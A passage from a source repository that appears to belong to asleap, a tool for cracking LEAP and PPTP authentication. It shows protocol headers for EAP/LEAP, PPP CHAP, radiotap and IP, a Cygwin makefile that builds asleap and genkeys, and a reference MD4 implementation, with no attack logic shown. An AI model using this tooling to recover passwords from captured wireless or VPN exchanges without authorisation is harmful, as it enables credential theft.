Aruba Networks */ 2 | 3 | #ifndef IEEE8021X_H 4 | #define IEEE8021X_H 5 | 6 | /* The 802.1x header indicates a version, type and length */ 7 | struct ieee8021x { 8 | uint8_t version; 9 | uint8_t type; 10 | uint16_t len; 11 | } __attribute__ ((packed)); 12 | #define DOT1XHDR_LEN sizeof(struct ieee8021x) 13 | 14 | #define DOT1X_VERSION 1 15 | #define DOT1X_TYPE_EAP 0 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /ietfproto.h: -------------------------------------------------------------------------------- 1 | /* Copyright 2006 Aruba Networks */ 2 | 3 | /* Layer 3+ protocol definitions and constants */ 4 | 5 | #ifndef IETFPROTO_H 6 | #define IETFPROTO_H 7 | 8 | /* EAP message constants */ 9 | #define EAP_REQUEST 1 10 | #define EAP_RESPONSE 2 11 | #define EAP_SUCCESS 3 12 | #define EAP_FAILURE 4 13 | 14 | /* EAP types, more at http://www.iana.org/assignments/eap-numbers */ 15 | #define EAP_TYPE_EAP 0 16 | #define EAP_TYPE_ID 1 17 | #define EAP_TYPE_NOTIFY 2 18 | #define EAP_TYPE_NAK 3 19 | #define EAP_TYPE_MD5 4 20 | #define EAP_TYPE_TLS 13 21 | #define EAP_TYPE_LEAP 17 22 | #define EAP_TYPE_SIM 18 23 | #define EAP_TYPE_TTLS 21 24 | #define EAP_TYPE_AKA 23 25 | #define EAP_TYPE_PEAP 25 26 | #define EAP_TYPE_MSCHAPV2 26 27 | #define EAP_TYPE_FAST 43 28 | 29 | struct eap_hdr { 30 | uint8_t code; /* 1=request, 2=response, 3=success, 4=failure? */ 31 | uint8_t identifier; 32 | uint16_t length; /* Length of the entire EAP message */ 33 | 34 | /* The following fields may not be present in all EAP frames */ 35 | uint8_t type; 36 | uint8_t flags; 37 | uint32_t totallen; 38 | } __attribute__ ((packed)); 39 | #define EAPHDR_MIN_LEN 4 40 | #define EAPHDR_INITFRAGHDR_LEN 6 41 | #define EAPHDR_NEXTFRAGHDR_LEN 2 42 | 43 | struct eap_leap_hdr { 44 | uint8_t type; /* hack, where does this belong? */ 45 | uint8_t version; /* Always 1 in my tests */ 46 | uint8_t reserved; 47 | uint8_t count; /* Length in octets of the challenge/response field */ 48 | } __attribute__ ((packed)); 49 | #define EAPLEAPHDR_LEN sizeof(struct eap_leap_hdr); 50 | #define EAPLEAP_MIN_REQ_LEN 12 51 | #define EAPLEAP_MIN_RESP_LEN 28 52 | 53 | #define EAP_TLS_FLAG_LEN 0x80 /* Length included */ 54 | #define EAP_TLS_FLAG_MOREFRAG 0x40 /* More fragments */ 55 | #define EAP_TLS_FLAG_START 0x20 /* EAP-TLS start */ 56 | #define EAP_PEAP_FLAG_VERSION 0x07 /* EAP-PEAP version */ 57 | 58 | /* IP protocol header */ 59 | struct iphdr { 60 | uint8_t ver_hlen; 61 | uint8_t tos; 62 | uint16_t len; 63 | uint16_t ipid; 64 | uint16_t flags_offset; 65 | uint8_t ttl; 66 | uint8_t proto; 67 | uint16_t checksum; 68 | uint8_t srcaddr[4]; 69 | uint8_t dstaddr[4]; 70 | } __attribute__ ((packed)); 71 | #define IPHDR_LEN sizeof(struct iphdr) 72 | #define IPHDR_MIN_LEN 20 73 | #define IPHDR_MAX_LEN 64 74 | 75 | struct tcphdr { 76 | uint16_t sport; 77 | uint16_t dport; 78 | uint32_t seq; 79 | uint32_t ack; 80 | uint8_t hlen; 81 | uint8_t flags; 82 | uint16_t wsize; 83 | uint16_t checksum; 84 | } __attribute__ ((packed)); 85 | #define TCPHDR_LEN sizeof(struct tcphdr) 86 | 87 | struct udphdr { 88 | uint16_t sport; 89 | uint16_t dport; 90 | uint16_t hlen; 91 | uint16_t checksum; 92 | } __attribute__ ((packed)); 93 | #define UDPHDR_LEN sizeof(struct udphdr) 94 | 95 | /* This is the structure of the GRE header */ 96 | struct grehdr { 97 | uint16_t flags; 98 | uint16_t type; 99 | uint16_t length; 100 | uint16_t callid; 101 | uint16_t seq; /* optional based on flags */ 102 | uint16_t ack; /* optional based on flags */ 103 | } __attribute__ ((packed)); 104 | #define GREHDR_MIN_LEN (sizeof(struct grehdr) - 4) 105 | #define GREPROTO_PPP 0x880b 106 | #define GRE_FLAG_SYNSET 0x0010 107 | #define GRE_FLAG_ACKSET 0x8000 108 | 109 | #define TCP_PORT_PPTP 1723 110 | #define UDP_PORT_L2TP 1701 111 | 112 | /* This is the structure of the Point-to-Point Protocol header */ 113 | struct ppphdr { 114 | uint16_t proto; 115 | } __attribute__ ((packed)); 116 | #define PPPHDR_LEN sizeof(struct ppphdr) 117 | #define PPPPROTO_CHAP 0xc223 118 | 119 | /* This is the structure of the PPP CHAP header */ 120 | struct pppchaphdr { 121 | uint8_t code; 122 | uint8_t identifier; 123 | uint16_t length; 124 | union { 125 | struct { 126 | uint8_t datalen; 127 | uint8_t authchal[16]; 128 | } chaldata; 129 | struct { 130 | uint8_t datalen; 131 | uint8_t peerchal[16]; 132 | uint8_t unknown[8]; /* all zero's */ 133 | uint8_t peerresp[24]; 134 | uint8_t state; 135 | uint8_t name; 136 | } respdata; 137 | } u; 138 | } __attribute__ ((packed)); 139 | #define PPPCHAPHDR_LEN 4 140 | #define PPPCHAPHDR_MIN_CHAL_LEN 21 141 | #define PPPCHAPHDR_MIN_RESP_LEN 55 142 | #define PPPCHAP_CHALLENGE 1 143 | #define PPPCHAP_RESPONSE 2 144 | #define PPPCHAP_SUCCESS 3 145 | #define PPPCHAP_FAILURE 4 146 | 147 | struct arphdr { 148 | uint16_t hwtype; /* format of hardware address */ 149 | uint16_t prototype; /* format of protocol address */ 150 | uint8_t hwlen; /* length of hardware address */ 151 | uint8_t protolen; /* length of protocol address */ 152 | uint16_t opcode; /* ARP opcode (command) */ 153 | }; 154 | 155 | struct arpreq { 156 | struct arphdr arph; 157 | uint8_t req[20]; 158 | }; 159 | 160 | #define ARPHDR_LEN sizeof(struct arphdr); 161 | #define ARPREQ_LEN sizeof(struct arpreq); 162 | 163 | #define ARP_REQUEST 1 /* ARP request */ 164 | #define ARP_REPLY 2 /* ARP reply */ 165 | #define ARP_RREQUEST 3 /* RARP request */ 166 | #define ARP_RREPLY 4 /* RARP reply */ 167 | 168 | 169 | struct tlsrec_hdr { 170 | uint8_t type; 171 | uint16_t ver; 172 | uint16_t len; 173 | } __attribute__ ((packed)); 174 | #define TLSRECHDR_LEN sizeof(struct tlsrec_hdr) 175 | 176 | struct tlshshake_hdr { 177 | uint8_t type; 178 | uint8_t len[3]; /* 3 bytes WTF */ 179 | } __attribute__ ((packed)); 180 | #define TLSHSHAKEHDR_LEN sizeof(struct tlshshake_hdr) 181 | 182 | 183 | 184 | #endif 185 | -------------------------------------------------------------------------------- /makefile.cygwin: -------------------------------------------------------------------------------- 1 | ################################## 2 | # Well, I may be doing stupid things with make 3 | # OK, it was Makefile stupid'ness 4 | # I don't really understand what the hell I am doing with Make, I'm 5 | # just copying other files and seeing what works. 6 | # heh 7 | # i think thats all anyone does 8 | # make is a twisted beast 9 | ################################## 10 | WPDPACK = ../WPdpack 11 | LDLIBS = -L$(WPDPACK)/Lib -lwpcap -lcrypt -static 12 | CFLAGS = -g3 -ggdb -pipe -Wall -I./cygwin -D_FILE_OFFSET_BITS=64 13 | CFLGAS += -D_LARGEFILE_SOURCE 14 | PROGOBJ = asleap.o genkeys.o utils.o common.o apeek.o sha1.o 15 | PROG = asleap genkeys 16 | 17 | all: $(PROG) $(PROGOBJ) 18 | 19 | apeek: apeek.c 20 | $(CC) $(CFLAGS) apeek.c -c 21 | 22 | utils: utils.c utils.h 23 | $(CC) $(CFLAGS) utils.c -c 24 | 25 | common: common.c common.h 26 | $(CC) $(CFLAGS) common.c -c 27 | 28 | sha1: sha1.c sha1.h 29 | $(CC) $(CFLAGS) sha1.c -c 30 | 31 | asleap: asleap.c asleap.h sha1.o common.o common.h utils.o apeek.o \ 32 | version.h sha1.c sha1.h apeek.h 33 | $(CC) $(CFLAGS) asleap.c -o asleap \ 34 | common.o utils.o apeek.o sha1.o $(LDLIBS) 35 | 36 | genkeys: genkeys.c md4.c md4.h common.o utils.o 37 | $(CC) $(CFLAGS) md4.c genkeys.c -o genkeys \ 38 | common.o utils.o -lcrypt 39 | 40 | clean: 41 | $(RM) $(PROGOBJ) $(PROG) asleap.exe genkeys.exe *~ 42 | -------------------------------------------------------------------------------- /md4.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** ******************************************************************** 3 | ** md4.c -- Implementation of MD4 Message Digest Algorithm ** 4 | ** Updated: 2/16/90 by Ronald L. Rivest ** 5 | ** (C) 1990 RSA Data Security, Inc. ** 6 | ** ******************************************************************** 7 | */ 8 | 9 | /* 10 | ** To use MD4: 11 | ** -- Include md4.h in your program 12 | ** -- Declare an MDstruct MD to hold the state of the digest 13 | ** computation. 14 | ** -- Initialize MD using MDbegin(&MD) 15 | ** -- For each full block (64 bytes) X you wish to process, call 16 | ** MD4Update(&MD,X,512) 17 | ** (512 is the number of bits in a full block.) 18 | ** -- For the last block (less than 64 bytes) you wish to process, 19 | ** MD4Update(&MD,X,n) 20 | ** where n is the number of bits in the partial block. A partial 21 | ** block terminates the computation, so every MD computation 22 | ** should terminate by processing a partial block, even if it 23 | ** has n = 0. 24 | ** -- The message digest is available in MD.buffer[0] ... 25 | ** MD.buffer[3]. (Least-significant byte of each word 26 | ** should be output first.) 27 | ** -- You can print out the digest using MDprint(&MD) 28 | */ 29 | 30 | /* Implementation notes: 31 | ** This implementation assumes that ints are 32-bit quantities. 32 | */ 33 | 34 | #define TRUE 1 35 | #define FALSE 0 36 | 37 | /* Compile-time includes 38 | */ 39 | #include 40 | #include 41 | #include "md4.h" 42 | 43 | /* Compile-time declarations of MD4 "magic constants". 44 | */ 45 | #define I0 0x67452301 /* Initial values for MD buffer */ 46 | #define I1 0xefcdab89 47 | #define I2 0x98badcfe 48 | #define I3 0x10325476 49 | #define C2 013240474631 /* round 2 constant = sqrt(2) in octal */ 50 | #define C3 015666365641 /* round 3 constant = sqrt(3) in octal */ 51 | /* C2 and C3 are from Knuth, The Art of Programming, Volume 2 52 | ** (Seminumerical Algorithms), Second Edition (1981), Addison-Wesley. 53 | ** Table 2, page 660. 54 | */ 55 | 56 | #define fs1 3 /* round 1 shift amounts */ 57 | #define fs2 7 58 | #define fs3 11 59 | #define fs4 19 60 | #define gs1 3 /* round 2 shift amounts */ 61 | #define gs2 5 62 | #define gs3 9 63 | #define gs4 13 64 | #define hs1 3 /* round 3 shift amounts */ 65 | #define hs2 9 66 | #define hs3 11 67 | #define hs4 15 68 | 69 | /* Compile-time macro declarations for MD4. 70 | ** Note: The "rot" operator uses the variable "tmp". 71 | ** It assumes tmp is declared as unsigned int, so that the >> 72 | ** operator will shift in zeros rather than extending the sign bit. 73 | */ 74 | #define f(X,Y,Z) ((X&Y) | ((~X)&Z)) 75 | #define g(X,Y,Z) ((X&Y) | (X&Z) | (Y&Z)) 76 | #define h(X,Y,Z) (X^Y^Z) 77 | #define rot(X,S) (tmp=X,(tmp<>(32-S))) 78 | #define ff(A,B,C,D,i,s) A = rot((A + f(B,C,D) + X[i]),s) 79 | #define gg(A,B,C,D,i,s) A = rot((A + g(B,C,D) + X[i] + C2),s) 80 | #define hh(A,B,C,D,i,s) A = rot((A + h(B,C,D) + X[i] + C3),s) 81 | 82 | /* MD4print(MDp) 83 | ** Print message digest buffer MDp as 32 hexadecimal digits. 84 | ** Order is from low-order byte of buffer[0] to high-order byte of 85 | ** buffer[3]. 86 | ** Each byte is printed with high-order hexadecimal digit first. 87 | ** This is a user-callable routine. 88 | */ 89 | void MD4Print(MDp) 90 | MD4_CTX *MDp; 91 | { 92 | int i, j; 93 | for (i = 0; i < 4; i++) 94 | for (j = 0; j < 32; j = j + 8) 95 | printf("%02x", (MDp->buffer[i] >> j) & 0xFF); 96 | } 97 | 98 | /* MD4Init(MDp) 99 | ** Initialize message digest buffer MDp. 100 | ** This is a user-callable routine. 101 | */ 102 | void MD4Init(MDp) 103 | MD4_CTX *MDp; 104 | { 105 | int i; 106 | MDp->buffer[0] = I0; 107 | MDp->buffer[1] = I1; 108 | MDp->buffer[2] = I2; 109 | MDp->buffer[3] = I3; 110 | for (i = 0; i < 8; i++) 111 | MDp->count[i] = 0; 112 | MDp->done = 0; 113 | } 114 | 115 | /* MDblock(MDp,X) 116 | ** Update message digest buffer MDp->buffer using 16-word data block X. 117 | ** Assumes all 16 words of X are full of data. 118 | ** Does not update MDp->count. 119 | ** This routine is not user-callable. 120 | */ 121 | static void MDblock(MDp, Xb) 122 | MD4_CTX *MDp; 123 | unsigned char *Xb; 124 | { 125 | register unsigned int tmp, A, B, C, D; 126 | unsigned int X[16]; 127 | int i; 128 | 129 | for (i = 0; i < 16; ++i) { 130 | X[i] = Xb[0] + (Xb[1] << 8) + (Xb[2] << 16) + (Xb[3] << 24); 131 | Xb += 4; 132 | } 133 | 134 | A = MDp->buffer[0]; 135 | B = MDp->buffer[1]; 136 | C = MDp->buffer[2]; 137 | D = MDp->buffer[3]; 138 | /* Update the message digest buffer */ 139 | ff(A, B, C, D, 0, fs1); /* Round 1 */ 140 | ff(D, A, B, C, 1, fs2); 141 | ff(C, D, A, B, 2, fs3); 142 | ff(B, C, D, A, 3, fs4); 143 | ff(A, B, C, D, 4, fs1); 144 | ff(D, A, B, C, 5, fs2); 145 | ff(C, D, A, B, 6, fs3); 146 | ff(B, C, D, A, 7, fs4); 147 | ff(A, B, C, D, 8, fs1); 148 | ff(D, A, B, C, 9, fs2); 149 | ff(C, D, A, B, 10, fs3); 150 | ff(B, C, D, A, 11, fs4); 151 | ff(A, B, C, D, 12, fs1); 152 | ff(D, A, B, C, 13, fs2); 153 | ff(C, D, A, B, 14, fs3); 154 | ff(B, C, D, A, 15, fs4); 155 | gg(A, B, C, D, 0, gs1); /* Round 2 */ 156 | gg(D, A, B, C, 4, gs2); 157 | gg(C, D, A, B, 8, gs3); 158 | gg(B, C, D, A, 12, gs4); 159 | gg(A, B, C, D, 1, gs1); 160 | gg(D, A, B, C, 5, gs2); 161 | gg(C, D, A, B, 9, gs3); 162 | gg(B, C, D, A, 13, gs4); 163 | gg(A, B, C, D, 2, gs1); 164 | gg(D, A, B, C, 6, gs2); 165 | gg(C, D, A, B, 10, gs3); 166 | gg(B, C, D, A, 14, gs4); 167 | gg(A, B, C, D, 3, gs1); 168 | gg(D, A, B, C, 7, gs2); 169 | gg(C, D, A, B, 11, gs3); 170 | gg(B, C, D, A, 15, gs4); 171 | hh(A, B, C, D, 0, hs1); /* Round 3 */ 172 | hh(D, A, B, C, 8, hs2); 173 | hh(C, D, A, B, 4, hs3); 174 | hh(B, C, D, A, 12, hs4); 175 | hh(A, B, C, D, 2, hs1); 176 | hh(D, A, B, C, 10, hs2); 177 | hh(C, D, A, B, 6, hs3); 178 | hh(B, C, D, A, 14, hs4); 179 | hh(A, B, C, D, 1, hs1); 180 | hh(D, A, B, C, 9, hs2); 181 | hh(C, D, A, B, 5, hs3); 182 | hh(B, C, D, A, 13, hs4); 183 | hh(A, B, C, D, 3, hs1); 184 | hh(D, A, B, C, 11, hs2); 185 | hh(C, D, A, B, 7, hs3); 186 | hh(B, C, D, A, 15, hs4); 187 | MDp->buffer[0] += A; 188 | MDp->buffer[1] += B; 189 | MDp->buffer[2] += C; 190 | MDp->buffer[3] += D; 191 | } 192 | 193 | /* MD4Update(MDp,X,count) 194 | ** Input: X -- a pointer to an array of unsigned characters. 195 | ** count -- the number of bits of X to use. 196 | ** (if not a multiple of 8, uses high bits of last byte.) 197 | ** Update MDp using the number of bits of X given by count. 198 | ** This is the basic input routine for an MD4 user. 199 | ** The routine completes the MD computation when count < 512, so 200 | ** every MD computation should end with one call to MD4Update with a 201 | ** count less than 512. A call with count 0 will be ignored if the 202 | ** MD has already been terminated (done != 0), so an extra call with 203 | ** count 0 can be given as a "courtesy close" to force termination 204 | ** if desired. 205 | */ 206 | void MD4Update(MDp, X, count) 207 | MD4_CTX *MDp; 208 | unsigned char *X; 209 | unsigned int count; 210 | { 211 | unsigned int i, tmp, bit, byte, mask; 212 | unsigned char XX[64]; 213 | unsigned char *p; 214 | 215 | /* return with no error if this is a courtesy close with count 216 | ** zero and MDp->done is true. 217 | */ 218 | if (count == 0 && MDp->done) 219 | return; 220 | /* check to see if MD is already done and report error */ 221 | if (MDp->done) { 222 | printf("\nError: MD4Update MD already done."); 223 | return; 224 | } 225 | 226 | /* Add count to MDp->count */ 227 | tmp = count; 228 | p = MDp->count; 229 | while (tmp) { 230 | tmp += *p; 231 | *p++ = tmp; 232 | tmp = tmp >> 8; 233 | } 234 | 235 | /* Process data */ 236 | if (count == 512) { /* Full block of data to handle */ 237 | MDblock(MDp, X); 238 | } else if (count > 512) { /* Check for count too large */ 239 | printf 240 | ("\nError: MD4Update called with illegal count value %d.", 241 | count); 242 | return; 243 | } else { /* partial block -- must be last block so finish up */ 244 | 245 | /* Find out how many bytes and residual bits there are */ 246 | byte = count >> 3; 247 | bit = count & 7; 248 | /* Copy X into XX since we need to modify it */ 249 | for (i = 0; i <= byte; i++) 250 | XX[i] = X[i]; 251 | for (i = byte + 1; i < 64; i++) 252 | XX[i] = 0; 253 | /* Add padding '1' bit and low-order zeros in last byte */ 254 | mask = 1 << (7 - bit); 255 | XX[byte] = (XX[byte] | mask) & ~(mask - 1); 256 | /* If room for bit count, finish up with this block */ 257 | if (byte <= 55) { 258 | for (i = 0; i < 8; i++) 259 | XX[56 + i] = MDp->count[i]; 260 | MDblock(MDp, XX); 261 | } else { /* need to do two blocks to finish up */ 262 | 263 | MDblock(MDp, XX); 264 | for (i = 0; i < 56; i++) 265 | XX[i] = 0; 266 | for (i = 0; i < 8; i++) 267 | XX[56 + i] = MDp->count[i]; 268 | MDblock(MDp, XX); 269 | } 270 | /* Set flag saying we're done with MD computation */ 271 | MDp->done = 1; 272 | } 273 | } 274 | 275 | /* 276 | ** Finish up MD4 computation and return message digest. 277 | */ 278 | void MD4Final(buf, MD) 279 | unsigned char *buf; 280 | MD4_CTX *MD; 281 | { 282 | int i, j; 283 | unsigned int w; 284 | 285 | MD4Update(MD, NULL, 0); 286 | for (i = 0; i < 4; ++i) { 287 | w = MD->buffer[i]; 288 | for (j = 0; j < 4; ++j) { 289 | *buf++ = w; 290 | w >>= 8; 291 | } 292 | } 293 | } 294 | 295 | /* quick wrapper for easy md4 */ 296 | void md4(unsigned char *from, int from_len, unsigned char *to) 297 | { 298 | 299 | MD4_CTX Context; 300 | 301 | #ifndef __NetBSD__ 302 | from_len <<= 3; /* bytes->bits */ 303 | #endif 304 | 305 | MD4Init(&Context); 306 | MD4Update(&Context, from, from_len); 307 | MD4Final(to, &Context); 308 | } 309 | -------------------------------------------------------------------------------- /md4.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | ** ******************************************************************** 4 | ** md4.h -- Header file for implementation of ** 5 | ** MD4 Message Digest Algorithm ** 6 | ** Updated: 2/13/90 by Ronald L. Rivest ** 7 | ** (C) 1990 RSA Data Security, Inc. ** 8 | ** ******************************************************************** 9 | */ 10 | 11 | #ifndef __P 12 | # if defined(__STDC__) || defined(__GNUC__) 13 | # define __P(x) x 14 | # else 15 | # define __P(x) () 16 | # endif 17 | #endif 18 | 19 | /* MDstruct is the data structure for a message digest computation. 20 | */ 21 | typedef struct { 22 | unsigned int buffer[4]; /* Holds 4-word result of MD computation */ 23 | unsigned char count[8]; /* Number of bits processed so far */ 24 | unsigned int done; /* Nonzero means MD computation finished */ 25 | } MD4_CTX; 26 | 27 | /* MD4Init(MD4_CTX *) 28 | ** Initialize the MD4_CTX prepatory to doing a message digest 29 | ** computation. 30 | */ 31 | extern void MD4Init __P((MD4_CTX * MD)); 32 | 33 | /* MD4Update(MD,X,count) 34 | ** Input: X -- a pointer to an array of unsigned characters. 35 | ** count -- the number of bits of X to use (an unsigned int). 36 | ** Updates MD using the first "count" bits of X. 37 | ** The array pointed to by X is not modified. 38 | ** If count is not a multiple of 8, MD4Update uses high bits of 39 | ** last byte. 40 | ** This is the basic input routine for a user. 41 | ** The routine terminates the MD computation when count < 512, so 42 | ** every MD computation should end with one call to MD4Update with a 43 | ** count less than 512. Zero is OK for a count. 44 | */ 45 | extern void MD4Update __P((MD4_CTX * MD, unsigned char *X, unsigned int count)); 46 | 47 | /* MD4Print(MD) 48 | ** Prints message digest buffer MD as 32 hexadecimal digits. 49 | ** Order is from low-order byte of buffer[0] to high-order byte 50 | ** of buffer[3]. 51 | ** Each byte is printed with high-order hexadecimal digit first. 52 | */ 53 | extern void MD4Print __P((MD4_CTX *)); 54 | 55 | /* MD4Final(buf, MD) 56 | ** Returns message digest from MD and terminates the message 57 | ** digest computation. 58 | */ 59 | extern void MD4Final __P((unsigned char *, MD4_CTX *)); 60 | 61 | /* Quick and easy wrapper */ 62 | void md4(unsigned char *from, int from_len, unsigned char *to); 63 | -------------------------------------------------------------------------------- /radiotap.h: -------------------------------------------------------------------------------- 1 | /* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ 2 | /* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ 3 | 4 | /*- 5 | * Copyright (c) 2003, 2004 David Young. All rights reserved. 6 | * 7 | * Redistribution and use in source and binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 1. Redistributions of source code must retain the above copyright 11 | * notice, this list of conditions and the following disclaimer. 12 | * 2. Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in the 14 | * documentation and/or other materials provided with the distribution. 15 | * 3. The name of David Young may not be used to endorse or promote 16 | * products derived from this software without specific prior 17 | * written permission. 18 | * 19 | * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY 20 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, 21 | * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 22 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID 23 | * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 24 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED 25 | * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 27 | * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 29 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY 30 | * OF SUCH DAMAGE. 31 | */ 32 | 33 | #ifndef RADIOTAP_H 34 | #define RADIOTAP_H 35 | 36 | /* Kluge the radiotap linktype for now if we don't have it */ 37 | #ifndef LNX_ARPHRD_IEEE80211_RADIOTAP 38 | #define LNX_ARPHRD_IEEE80211_RADIOTAP 803 39 | #endif 40 | 41 | /* Radiotap header version (from official NetBSD feed) */ 42 | #define IEEE80211RADIOTAP_VERSION "1.5" 43 | /* Base version of the radiotap packet header data */ 44 | #define PKTHDR_RADIOTAP_VERSION 0 45 | 46 | /* The radio capture header precedes the 802.11 header. */ 47 | struct ieee80211_radiotap_header { 48 | u_int8_t it_version; /* Version 0. Only increases 49 | * for drastic changes, 50 | * introduction of compatible 51 | * new fields does not count. 52 | */ 53 | u_int8_t it_pad; 54 | u_int16_t it_len; /* length of the whole 55 | * header in bytes, including 56 | * int_version, it_pad, 57 | * it_len, and data fields. 58 | */ 59 | u_int32_t it_present; /* A bitmap telling which 60 | * fields are present. Set bit 31 61 | * (0x80000000) to extend the 62 | * bitmap by another 32 bits. 63 | * Additional extensions are made 64 | * by setting bit 31. 65 | */ 66 | }; 67 | 68 | /* Name Data type Units 69 | * ---- --------- ----- 70 | * 71 | * IEEE80211_RADIOTAP_TSFT u_int64_t microseconds 72 | * 73 | * Value in microseconds of the MAC's 64-bit 802.11 Time 74 | * Synchronization Function timer when the first bit of the 75 | * MPDU arrived at the MAC. For received frames, only. 76 | * 77 | * IEEE80211_RADIOTAP_CHANNEL 2 x u_int16_t MHz, bitmap 78 | * 79 | * Tx/Rx frequency in MHz, followed by flags (see below). 80 | * 81 | * IEEE80211_RADIOTAP_FHSS u_int16_t see below 82 | * 83 | * For frequency-hopping radios, the hop set (first byte) 84 | * and pattern (second byte). 85 | * 86 | * IEEE80211_RADIOTAP_RATE u_int8_t 500kb/s 87 | * 88 | * Tx/Rx data rate 89 | * 90 | * IEEE80211_RADIOTAP_DBM_ANTSIGNAL int8_t decibels from 91 | * one milliwatt (dBm) 92 | * 93 | * RF signal power at the antenna, decibel difference from 94 | * one milliwatt. 95 | * 96 | * IEEE80211_RADIOTAP_DBM_ANTNOISE int8_t decibels from 97 | * one milliwatt (dBm) 98 | * 99 | * RF noise power at the antenna, decibel difference from one 100 | * milliwatt. 101 | * 102 | * IEEE80211_RADIOTAP_DB_ANTSIGNAL u_int8_t decibel (dB) 103 | * 104 | * RF signal power at the antenna, decibel difference from an 105 | * arbitrary, fixed reference. 106 | * 107 | * IEEE80211_RADIOTAP_DB_ANTNOISE u_int8_t decibel (dB) 108 | * 109 | * RF noise power at the antenna, decibel difference from an 110 | * arbitrary, fixed reference point. 111 | * 112 | * IEEE80211_RADIOTAP_LOCK_QUALITY u_int16_t unitless 113 | * 114 | * Quality of Barker code lock. Unitless. Monotonically 115 | * nondecreasing with "better" lock strength. Called "Signal 116 | * Quality" in datasheets. (Is there a standard way to measure 117 | * this?) 118 | * 119 | * IEEE80211_RADIOTAP_TX_ATTENUATION u_int16_t unitless 120 | * 121 | * Transmit power expressed as unitless distance from max 122 | * power set at factory calibration. 0 is max power. 123 | * Monotonically nondecreasing with lower power levels. 124 | * 125 | * IEEE80211_RADIOTAP_DB_TX_ATTENUATION u_int16_t decibels (dB) 126 | * 127 | * Transmit power expressed as decibel distance from max power 128 | * set at factory calibration. 0 is max power. Monotonically 129 | * nondecreasing with lower power levels. 130 | * 131 | * IEEE80211_RADIOTAP_DBM_TX_POWER int8_t decibels from 132 | * one milliwatt (dBm) 133 | * 134 | * Transmit power expressed as dBm (decibels from a 1 milliwatt 135 | * reference). This is the absolute power level measured at 136 | * the antenna port. 137 | * 138 | * IEEE80211_RADIOTAP_FLAGS u_int8_t bitmap 139 | * 140 | * Properties of transmitted and received frames. See flags 141 | * defined below. 142 | * 143 | * IEEE80211_RADIOTAP_ANTENNA u_int8_t antenna index 144 | * 145 | * Unitless indication of the Rx/Tx antenna for this packet. 146 | * The first antenna is antenna 0. 147 | * 148 | * IEEE80211_RADIOTAP_FCS u_int32_t data 149 | * 150 | * FCS from frame in network byte order. 151 | */ 152 | enum ieee80211_radiotap_type { 153 | IEEE80211_RADIOTAP_TSFT = 0, 154 | IEEE80211_RADIOTAP_FLAGS = 1, 155 | IEEE80211_RADIOTAP_RATE = 2, 156 | IEEE80211_RADIOTAP_CHANNEL = 3, 157 | IEEE80211_RADIOTAP_FHSS = 4, 158 | IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, 159 | IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, 160 | IEEE80211_RADIOTAP_LOCK_QUALITY = 7, 161 | IEEE80211_RADIOTAP_TX_ATTENUATION = 8, 162 | IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, 163 | IEEE80211_RADIOTAP_DBM_TX_POWER = 10, 164 | IEEE80211_RADIOTAP_ANTENNA = 11, 165 | IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, 166 | IEEE80211_RADIOTAP_DB_ANTNOISE = 13, 167 | IEEE80211_RADIOTAP_FCS = 14, 168 | IEEE80211_RADIOTAP_EXT = 31, 169 | }; 170 | 171 | /* Channel flags. */ 172 | #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ 173 | #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ 174 | #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ 175 | #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ 176 | #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ 177 | #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ 178 | #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ 179 | #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ 180 | 181 | /* For IEEE80211_RADIOTAP_FLAGS */ 182 | #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received 183 | * during CFP 184 | */ 185 | #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received 186 | * with short 187 | * preamble 188 | */ 189 | #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received 190 | * with WEP encryption 191 | */ 192 | #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received 193 | * with fragmentation 194 | */ 195 | #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ 196 | #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between 197 | * 802.11 header and payload 198 | * (to 32-bit boundary) 199 | */ 200 | 201 | /* Ugly macro to convert literal channel numbers into their mhz equivalents 202 | * There are certianly some conditions that will break this (like feeding it '30') 203 | * but they shouldn't arise since nothing talks on channel 30. */ 204 | #define ieee80211chan2mhz(x) \ 205 | (((x) <= 14) ? \ 206 | (((x) == 14) ? 2484 : ((x) * 5) + 2407) : \ 207 | ((x) + 1000) * 5) 208 | 209 | #endif /* 